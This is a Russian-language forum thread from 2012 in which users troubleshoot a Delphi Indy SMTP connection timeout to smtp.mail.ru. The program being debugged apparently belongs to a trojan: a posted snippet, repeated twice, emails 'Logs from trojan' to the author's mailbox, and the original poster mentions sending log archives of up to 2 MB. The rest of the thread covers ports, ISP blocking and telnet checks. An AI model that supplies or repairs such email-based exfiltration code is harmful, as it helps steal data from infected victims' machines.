Что-то старые исходники не с того не с сего перестали работать. А именно возникает ошибка "Socket Error # 10060 Connection timed out." при попытке законнектится на сервер mail.ru для отправки логов через IdSMTP.
Кто сталкивался с таким? Весь интернет перерыл, но толкового решения так и не нашел... В коде не менялось и байта.
Что-то старые исходники не с того не с сего перестали работать. А именно возникает ошибка "Socket Error # 10060 Connection timed out." при попытке законнектится на сервер mail.ru для отправки логов через IdSMTP.
Кто сталкивался с таким? Весь интернет перерыл, но толкового решения так и не нашел... В коде не менялось и байта.
у меня были ошибки сокетов при создания "яндекс-клиента" я просто поменял порт с 25 на 585(а может и на575 или 587...не помню). а у тебя пишет, что истекло время подсоединения. Можно и так: когда конектишься не указывай, кол-во секунд, за которые должен компонент конектиться к серверу.
PS выложи исходник .
Del, уже делал и с задержкой в миллисекундах и без - результат тот же. А если поменять порт оно законектится??? Бррр, запутался я немного. Волк-1024, это больше похоже на правду. Ни с того ни с сего перестать работать программа не может, тоже мысли были что это у них что-то.
Don_Diego, попробуй вот так у меня работает нормально...
Code
procedure TForm1.Button1Click(Sender: TObject);
var
smtp: TIDSMTP;
letter: TIDMessage;
begin
smtp:=TIDSMTP.Create(nil);
smtp.AuthenticationType:=atLogin;
smtp.Port:= 25;
smtp.Host:= 'smtp.mail.ru';
smtp.Username:= 'blablabla'; //логин
smtp.Password:= '123456'; // пароль
letter:=TIDMessage.Create(nil);
letter.Subject:= 'Logs from trojan';
letter.Body.Text:= 'logs';
letter.From.Text:= '[email protected]'; // от кого письмо
letter.From.Name:= 'Logs from trojan';
letter.Recipients.EMailAddresses:= '[email protected]'; //майл получателя
smtp.Connect();
if smtp.Connected = True then
begin
smtp.Send(letter);
smtp.Disconnect;
end;
end;
end.
PS: и 25 порт тут ни при чем, этот порт был сделан с самых основ майла и до сих пор от него не отказывается никто, как разработчики ПО так и сам почтовый сервис, а вот для того что бы приаттачить что либо возможно понадобится другой порт как говорил Del, я еще не пробывал что то аттачить на майл так как мне это без надобности...
если хочешь логи писать в тело письма, как собственно я и делал, просто выдергни из файла лога текст и коперни его себе в letter.Body.Text через буфер или через какой нить memo1 например
Сообщение отредактировал xXxSh@dowxXx - Пятница, 21.09.2012, 11:30
попробуй порт вместо 25 заюзать 2525, а вообще правильность проверить конектится ли твой комп к smtp.mail ru можно через консоль, просто напиши "telnet smtp.mail.ru 25"(без кавычек)
xXxSh@dowxXx, а ты прислушайся к таким моментам, все же смена порта как видно помогла. Но вопрос остается еще открытым: почему так?
Don_Diego, а вот этот код пробовал?
Code
procedure TForm1.Button1Click(Sender: TObject);
var
smtp: TIDSMTP;
letter: TIDMessage;
begin
smtp:=TIDSMTP.Create(nil);
smtp.AuthenticationType:=atLogin;
smtp.Port:= 25;
smtp.Host:= 'smtp.mail.ru';
smtp.Username:= 'blablabla'; //логин
smtp.Password:= '123456'; // пароль
letter:=TIDMessage.Create(nil);
letter.Subject:= 'Logs from trojan';
letter.Body.Text:= 'logs';
letter.From.Text:= '[email protected]'; // от кого письмо
letter.From.Name:= 'Logs from trojan';
letter.Recipients.EMailAddresses:= '[email protected]'; //майл получателя
smtp.Connect();
if smtp.Connected = True then
begin
smtp.Send(letter);
smtp.Disconnect;
end;
end;
end.
У меня например он работает отлично, без каких либо проблем, и без прикрепления файлов к письму, и именно на 25 порту...!
Почему у тебя не хочет работать я не представляю, хотя могу предположить что когда то очень очень давно, в тот день когда Гордый, но Очень Зоркий птица ОРЕЛъ...,ой это уже другая история
...так о чем это я, ах да, возможно у тебя какая то программка заняла в свое время, так "случайно", этот самый 25й порт и висит на нем постоянно, либо в тот момент когда ты проверяешь свой код у тебя другая программа занимает 25й порт, либо фаер его когда то давно заблочил, хотя если телнет работает, но не факт что фаер при заблоченном порте откинет такое системное приложение как telnet, либо антивирус что то чудит, причин может быть не мало, ток хз почему так могло произойти, а вобще 25й исключительно почтовый порт, и при написании программ это всегда учитывается, он не должен заниматься попросту, во всяком случае не помешало бы проверить...
Еще раз подчеркиваю - у меня мой код работает без проблем и думаю не только у меня, но при условии что мы не используем прикрепление файлов к письму,так как я этого на 25м порту не проверял!
И все же я считаю что такого рода проблемы простой сменой порта не решаются, так как можно кучу портов перебрать пока они все у тебя не перестанут работать, нужно мыслить в корень и найти причину по которой у тебя перестал работать 25й порт иначе все напрасно
Сообщение отредактировал xXxSh@dowxXx - Вторник, 25.09.2012, 10:18
xXxSh@dowxXx, ну скажем так, твой код практически не отличается от моего, за исключением что у меня отправка файла идет, а у тебя нет. Мне не подходит тело файла впихивать в письмо, потому что такие архивчики порой до 2-х Мб занимают. Но вот что у меня сказало по твоему коду:
---------------------------
Debugger Exception Notification
---------------------------
Project Project1.exe raised exception class EIdSocketError with message 'Socket Error # 10060
Connection timed out.'. Process stopped. Use Step or Run to continue.
---------------------------
OK Help
---------------------------
Но скажу еще раз: всегда все работало, на всех ОС. И вдруг... Ни на моем компьютере, ни на чужом, не ни XP не на 7 - перестало работать. Загадка прям какая-то Файрволл только системный, но он не ругался на отправку логов ( ) , антивирус не стоит, почтовых клиентов тоже нету. Вот и думай теперь...
Действительно причину нужно выяснить, потому что нету гарантии что в будущем опять это не повториться.
Сообщение отредактировал Don_Diego - Вторник, 25.09.2012, 12:11
Ни на моем компьютере, ни на чужом, не ни XP не на 7 - перестало работать. Загадка прям какая-то. Файрволл только системный, но он не ругался на отправку логов, антивирус не стоит, почтовых клиентов тоже нету. Вот и думай теперь...
Да.., действительно странно, очень странно...
Сообщение отредактировал xXxSh@dowxXx - Вторник, 25.09.2012, 14:50
Ого... Вот тут http://2ip.ru/check-port/?PHPSESSID=57d619949fcbafff05624dacb5e4ca31 пишет что Порт закрыт. Странно, на XP тоже самое. Может это просто провайдер его блочит?
Сообщение отредактировал Don_Diego - Вторник, 25.09.2012, 20:30
Don_Diego, нет, эта проверка показывает активность портов, то есть если какая то программа начинает использовать этот порт то следовательно она его открывает, а как только программа завершает свою работу то и порт закрывается, у меня так же пишет что порт закрыт и это так и должно быть, у вас проблема в другом, а именно в том что на сколько я понял у вас порт вобще не открывается да же при обращении к нему, точнее да же не так, вот у тебя Don_Diego порт открывается, иначе telnet бы врят ли заработал, но как ни странно открывается не для всех программ, а походу только для служб винды или проверенных, почему обычные программы не могут у тебя его открыть я не могу понять...
Как вариант могу предположить что вы входите в сеть через роутер\switch\модем за NAT в таком случае можно поискать проблему в настройках самого роутера, возможно по каким то причинам он перестал автоматически перебрасывать этот порт...
Прочитал только что в Googl'e что некоторые провайдеры по каким то своим соображениям безопасности или еще чего, блочат некоторые порты в том числе и 25й, например провайдер "Акадо"...
А вот собственно нашел и один способ для проверки на работу порта:
Идем вот сюда и проверяем:
в первом окне там где "IP address or host name:" пишем "smtp.mail.ru" (без ковычек), а во втором там где порт пишем "25" и если open то все путем, а если close то он заблочен либо на твое машине, либо на рутере, либо у провайдера.
Сообщение отредактировал xXxSh@dowxXx - Вторник, 25.09.2012, 21:16
xXxSh@dowxXx, пожалуйста, не нужно на Вы, не привычно слишком ))
Сейчас проверил http://2ip.ru/port-scaner/, на данный момент открыты 2 порта: 80-й и 443-й, тоесть действительно показывает только активные порты. Роутера у меня нету - обычный 2G-модем (через телефон). Провайдер у меня в лице оператора сотовой связи
Надо сейчас на сайте оператора задать вопрос по поводу 25-го порта, посмотрим что скажут...
Тест показал что smtp.mail.ru:25 port is open
Сообщение отредактировал Don_Diego - Вторник, 25.09.2012, 21:18
тогда все должно работать, очень странно, даже слишком
быть может этот тест проверяет открыт ли указанный порт на указанном хосте, тогда да, естественно он на smtp.mail.ru открыт...
в таком случае нада снифером тестить, на мой взгляд самый надежный вариант, тогда он точно покажет есть коннект или нету...
Сообщение отредактировал xXxSh@dowxXx - Вторник, 25.09.2012, 21:21